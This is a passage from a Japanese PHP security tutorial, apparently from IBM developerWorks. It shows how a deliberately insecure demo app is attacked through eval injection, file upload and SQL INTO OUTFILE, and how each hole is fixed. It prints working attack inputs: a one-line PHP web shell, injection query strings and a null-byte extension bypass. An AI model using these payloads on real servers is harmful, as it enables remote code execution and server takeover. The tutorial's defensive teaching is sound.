OS コマンドを実行する関数には、ユーザー入力を渡さないでください。通常、それよりも安全な API 関数を使用して、同様の結果を得ることができます。安全な手法を取ることが不可能で、信頼できないデータを使ってコマンドラインの引数を作成しなければならないとしたら、必ずそのデータが適切にエスケープされるようにしてください。PHP API には、危険な記号をエスケープするための escapeshellcmd 関数が用意されています。リスト 27 に、修正後のユーザー設定コードを記載します。
リスト 27. ユーザー入力をサニタイズするための escapeshellcmd の使い方
$compress_command = "ping $image " . escapeshellcmd($_REQUEST["imagecompression"]);
ユーザー入力を escapeshellcmd
に渡してからシステムに渡すことで、パイプなどの悪意を持って使われる可能性がある文字をサニタイズすることができます。
次に取り上げる脆弱性も、OS コマンド・インジェクションと同じような結果をもたらす場合がよくあります。
スクリプト言語インジェクション
スクリプト言語インジェクションの脆弱性は、ユーザー入力がコードとして解釈される場合に発生します。多くの場合、この脆弱性はサーバーのセキュリティー侵害という結果をもたらします。アタッカーはこの脆弱性を利用して、インタープリター・プロセスのセキュリティー・コンテキストでコードを実行できるためです。
悪用の仕組み
ユーザーが送信したデータは eval
関数に渡されることから、CMA の電卓機能はスクリプト言語インジェクションに対して脆弱です。X 入力と Y 入力の両方を使用して任意のコードを実行することができますが、これらの入力は数値の型を持っているため、クライアント・サイドの制約を迂回しなければなりません。この制約の迂回は、以下のように Web デバッグ・プロキシーを使用することで実現することができます。
/CMA/insecure/calculator.php?x=1&y=1;system(%22calc%22)&operation=operation-add
あるいは、以下のように手動でクエリー・ストリングを作成するという方法もあります。
/CMA/insecure/calculator.php?x=1;system(%22calc%22);//&y=1&operation=operation-add
評価後のコードでは、スクリプト・インジェクション攻撃の効果が以下のように現れます。echo 1 + 1;system("calc");
となるはずが、echo
1;system("calc");// + 1;
となります。
スクリプト言語インジェクションの防止策
ユーザー入力をコードとして評価することは避けてください。同じような機能は通常、より安全な API 関数を使って作成することができます (これが、リスト 28 で採っている手法です)。やむを得ない場合には、厳重な検証 (可能であれば、ホワイトリスト) を適用して、セキュアでないと思われる入力を一切拒否してください。ユーザー入力をサニタイズしようとはしないでください。
リスト 28. 作成し直された電卓ロジック
<?php $x = $_GET["x"]; $y = $_GET["y"]; $operation = $_GET["operation"] == "operation-add" ? "+" : "-"; // Patched reflected XSS vulnerability $arithmetic = htmlentities("$x $operation $y"); echo $arithmetic . " = "; if ($operation == "+") echo $x + $y; else echo $x - $y; ?>
更新後のコードでは eval
を使用していないため、スクリプト言語インジェクションに対してはセキュアです。
次のセクションでは、スクリプト言語インジェクションと同じような効果を、任意のファイル作成を利用して実現する仕組みを説明します。
任意のファイル作成
多くの場合、任意のファイル作成による攻撃は、スクリプト言語インジェクションと同じような結果をもたらします。つまり、アタッカーが適当な拡張子を持つファイルを作成し、そのファイルにアクセスして任意のコードを実行できるということです。アタッカーはこうした攻撃を何通りもの方法で実現可能なため、ファイルを作成するために使用できる機能に取り組む際には十分注意してください。場合によっては、この機能をディレクトリー・トラバーサルなどの他の脆弱性と組み合わせることで、アタッカーがさらに大きな危害を加えることも考えられます。
悪用の仕組み
任意のファイルを作成する方法の 1 つは、ユーザー設定のプロフィール写真機能を使用して、画像の代わりに PHP ファイルをアップロードするというものです。以下の単純なスクリプトでリモート・シェルを提供することができます。<?php system($_GET["CMD"]); ?>
この PHP スクリプトがアップロードされると、アタッカーはこれにアクセスして以下のように OS コマンドを難なく実行できるようになります。http://localhost/CMA/insecure/images/shell.php?CMD=calc
SQL インジェクションの脆弱性の有無、そしてサーバーの構成によっては、SQL を使って新しいスクリプトを作成できる場合もあります。また、SQL サーバーの権限次第で、以下のようにディレクトリー・トラバーサルを使用して重要なシステム・ファイルを上書きし、実質的にサーバーのセキュリティーを侵害することさえ可能です。SELECT '<?php system($_GET["CMD"]); ?>' FROM dual INTO OUTFILE
'../../htdocs/shell.php'
クエリーの最初の列はお馴染みのはずです。これは実際、任意のファイル作成において悪意のあるファイルを含むストリング・リテラルです (リスト 29 を参照)。
リスト 29. UNION 演算子を使用して CMA に注入するクエリーを作成するシェル
http://localhost/CMA/insecure/search.php?query='and%201=0%20UNION%20SELECT %20'%3C?php%20system($_GET[%22CMD%22]);%20?%3E',''%20FROM%20dual%20INTO%20OUTFILE %20'../../htdocs/shell.php';%23
このタイプの攻撃がターゲットとするパスは、試行錯誤によって見つけられます。あるいは、ドキュメント・ルートの絶対パスを暴露する情報漏えいに対する脆弱性 (このチュートリアルでは取り上げていません) を利用して見つけることもできます。
任意のファイル作成の防止策
可能であれば、ユーザーが作成する可能性のあるファイルの拡張子に対して、ホワイトリスト検証を行ってください。これが、リスト 30 とリスト 31 に示す CMA の修正で使用している手法です。同じような修正を実装できない場合には、ブラックリスト検証を適用して、悪意のある拡張子が許可されないようにします。Apache と PHP の場合には、PHP、PHTML、HTACCESS などの複数の拡張子をブラックリストで拒否することになります。入力内容に悪意があると判断された場合にはその入力を拒否し、問題のあるデータをサニタイズしようとはしないでください。
リスト 30. NULL バイト攻撃をチェックするためのヘルパー関数
function IsNullPoisoned($string) { return strpos($string, "\x00") != NULL; } function IsValidImageExtension($file) { $validExtensions = array( "jpg", "png", "gif" ); if (IsNullPoisoned($file)) return FALSE; $ext = pathinfo($file, PATHINFO_EXTENSION); return in_array($ext, $validExtensions); }
IsNullPoisoned
関数はストリングに NULL バイトがあるかどうかをチェックし、該当する位置が NULL
でない場合には true を返します。一方、IsValidImageExtension
関数はファイル名が NULL バイト攻撃されていないこと、そしてファイル拡張子がホワイトリストに含まれていることをチェックします。
リスト 31. ファイル拡張子の検証を追加した CMA のユーザー写真機能
if (!IsValidImageExtension($_FILES["picture"]["name"])) die("Error uploading image.");
攻撃を防ぐため、ユーザーが送信したファイルの名前が IsValidImageExtension
関数に渡されます。関数から false が返された場合、スクリプトは強制終了されます。
PHP では、正規表現ベースの拡張子フィルターは使用しないようにすることをお勧めします。例えば、リスト 32 に示す検証関数は、迂回することができます。
リスト 32. セキュアではない拡張子検証
function IsValidImageExtension($file) { return preg_match('/\.(jpg|png|gif)$/i', $file); }
リスト 32 の実装は一部の攻撃を防ぐものの、preg_match
関数が
test.php%00test.jpg
という NULL バイト攻撃を受ける可能性があります。
リスト 33 に示すように、これを防ぐための対策はありますが、複雑さが増すため、この手段は避けてください。
リスト 33. 修正された正規表現ベースの検証
function IsValidImageExtension($file) { return !IsNullPoisoned($file) && preg_match('/\.(jpg|png|gif)$/i', $file); }
preg_match
を使用する前に、ファイル名で NULL バイト攻撃の有無をチェックすることで、アタッカーがストリング終了文字を注入するのを防ぐことができます。
すべての SQL インジェクションの脆弱性を確実に修正して、アタッカーがデータベース・サーバー機能を使用してファイル・システムを操作できないようにする必要があります。アプリケーションにデータベース・サーバー機能が必要ない場合には、データベース特権を使って機能を無効にすることを検討してください。可能であれば、データベース・サーバーを HTTP サーバー以外のサーバーで実行します。
セキュリティー層を追加するには、ユーザーがアップロードするファイルをドキュメント・ルートの外部に格納するか、直接アクセスする必要がない場合には、Web サーバー機能を使用してユーザーへのアクセスを禁止してください。アタッカーがファイル拡張子のフィルタリングを迂回できるとしたら、この手法を適用することで、悪意のあるスクリプトにアクセスして実行することが困難になります。クライアントがアップロード先フォルダーを制御できるようにはしないでください。制御できるようにしてしまうと、アタッカーが (このチュートリアルで前に説明した) ディレクトリー・トラバーサルを使用して、保護されていないディレクトリーにファイルを格納する恐れがあります。
まとめ
冒頭で述べたように、このチュートリアルではソフトウェア・セキュリティーのすべてを網羅しているわけではありません。実際、ソフトウェア・セキュリティーの全体像は常に変化しているため、すべてを網羅した情報源などというものは存在しません。進化を続けるアタッカーに対して最も効果的な対策となるのは、常に新しいセキュリティーの脅威に関する情報を読んで、時流についていくことです。脆弱性が発生する理由とその防止策について詳しく検討している優れた資料の数々については、「参考文献」を参照してください。バグがないと宣言できるシステムが無いように、完全にセキュアであるとみなせるシステムも無いことを覚えておいてください。
参考文献
学ぶために
- 「jQuery を扱う」(Michael Abernethy 著、developerWorks、2008年9月): この優れた JavaScript フレームワークの入門書で、jQuery について知り、そして Web アプリケーション・プロジェクトの中で jQuery を実装する方法について学んでください。
- 「jQuery Mobile の紹介」(C. Enrique Ortiz 著、developerWorks、2011年2月): jQuery Mobile による開発方法について詳しく学んでください。
- 「Locking down your PHP applications」(Thomas Myer 著、developerWorks、2006年5月): PHP アプリケーションを保護して、SQL インジェクション、GET および POST 変数の改ざん、バッファー・オーバーフロー攻撃、クロスサイト・スクリプト攻撃、ブラウザー内でのデータ改ざん、そしてリモート・フォーム送信などの最も一般的なセキュリティー脅威から守る方法について学んでください。
- 「セキュアな PHP アプリケーションを作成するための 7 つの習慣」(Nathan Good 著、developerWorks、2008年9月): PHP アプリケーションのセキュリティー強化に関する、このもう 1 つの優れた記事を読んで、Web アプリケーションのセキュリティーを強化してください。
- 「Ajax アプリケーションに対するセキュリティーの脅威を克服する」(Sachiko Yoshihama、Frederik De Keukelaere、Michael Steiner、Naohiko Uramoto 共著、developerWorks、2007年6月): クライアント・サイド攻撃の詳細を知り、よくある攻撃を回避する方法を学んでください。
- Packet Storm: 脆弱性の悪用、報告、そして新旧両方のツールに関する優れた情報源を調べてください。
- 『The Web Application Hacker's Handbook』(Dafydd Stuttard、Marcus Pinto 共著、Wiley、2007年10月): セキュリティー欠陥の発見と悪用に関する実用的ガイドで、Web アプリケーションのセキュリティーを大局的に把握してください。
- OWASP (The Open Web Application Security Project): アプリケーション・ソフトウェアのセキュリティーを強化するための豊富な関連情報とツールを見つけてください。
- CVE (Common Vulnerabilities and Exposures): 公に知られた情報セキュリティーの脆弱性および脅威に関する優れた情報源を調べてください。
- The Open Source Vulnerability Database: CVE と同様、公開された脆弱性に関するこの情報源をくまなく調べてください。
- jQuery Mobile: 信頼できる jQuery および jQuery UI をベースに作成され、よく使われているモバイル・デバイス・プラットフォームのすべてに共通のユーザー・インターフェース・システムとなる jQuery Mobile のホーム・ページにアクセスしてください。
- jQuery Mobile のデモおよびドキュメンテーション: タッチ操作に最適な、このスマートフォンおよびタブレット向け Web フレームワークに関する記事、API、そしてデモ・コードにアクセスしてください。
- jQuery.org: jQuery オープンソース・チームのホーム・ページにアクセスしてください。
- 『Mobile Design and Development』(Brian Fling 著、O'Reilly Media、2009年8月): モバイル製品を作成する際の実際的な指針、標準、手法、そしてベスト・プラクティスを調べてください。
- developerWorks の XML エリア: XML 分野でのスキルを磨くための資料を入手してください。
- developerWorks Open source ゾーン: オープンソース技術による開発、そして IBM 製品でオープンソース技術を使用するときに役立つ広範囲のハウツー情報、ツール、プロジェクト・アップデート、そして人気の高い記事とチュートリアルを調べてください。
- IBM XML 認定: XML や関連技術の IBM 認定技術者になる方法について調べてください。
- XML technical library: 広範な技術に関する記事とヒント、チュートリアル、標準、そして IBM Redbooks については、developerWorks XML ゾーンを参照してください。また、XML に関するヒントを読んでください。
- developerWorks の Technical events and webcasts: これらのセッションで最新情報を入手してください。
- Twitter での developerWorks: 今すぐ登録して developerWorks のツイートをフォローしてください。
- developerWorks podcasts: ソフトウェア開発者向けの興味深いインタビューとディスカッションを聞いてください。
- developerWorks オンデマンド・デモ: 初心者向けの製品のインストールおよびセットアップから熟練開発者向けの高度な機能に至るまで、さまざまに揃ったデモを見てください。
製品や技術を入手するために
- The jQuery Mobile CDN: jQuery Mobile の縮小圧縮バージョンで、jQuery Mobile を素早く入手してください。
- MAMP: Mac - Apache - MySQL - PHP: Mac ベースの Apache、MySQL、および PHP 環境をまとめてインストールできるローカル・サーバー環境を入手してください。
- XAMPP: Linux、Solaris、Windows、および Mac OS X に簡単にインストールできる Apache ディストリビューションを入手してください。パッケージには、Apache Web サーバー、MySQL、PHP、Perl、FTP サーバー、そして phpMyAdmin が含まれています。
- Fiddler: コンピューターとインターネットとの間のすべての HTTP(S) トラフィックをログに記録するWeb デバッグ・プロキシーをダウンロードして試してみてください。
- IBM 製品の評価版: DB2、Lotus、Rational、Tivoli、および WebSphere のアプリケーション開発ツールとミドルウェア製品を体験するには、評価版をダウンロードするか、IBM SOA Sandbox のオンライン試用版を試してみてください。
議論するために
- jQuery Mobile Forum: jQuery Mobile に関するすべての質問に対する答えを見つけてください。
- XML ゾーンのディスカッション・フォーラム: XML 関連のフォーラムに参加してください。
- developerWorks コミュニティー: ここでは他の developerWorks ユーザーとのつながりを持てる他、開発者が主導するブログ、フォーラム、グループ、ウィキを調べることができます。
コメント
IBM PureSystems
IBM がどのように IT に革命をもたらしているのかをご自身でお確かめください
Knowledge path
developerWorks の Knowledge path シリーズでは、テーマ別の学習資料をご提供しています
ソフトウェア評価版: ダウンロード
developerWorksでIBM製品をお試しください!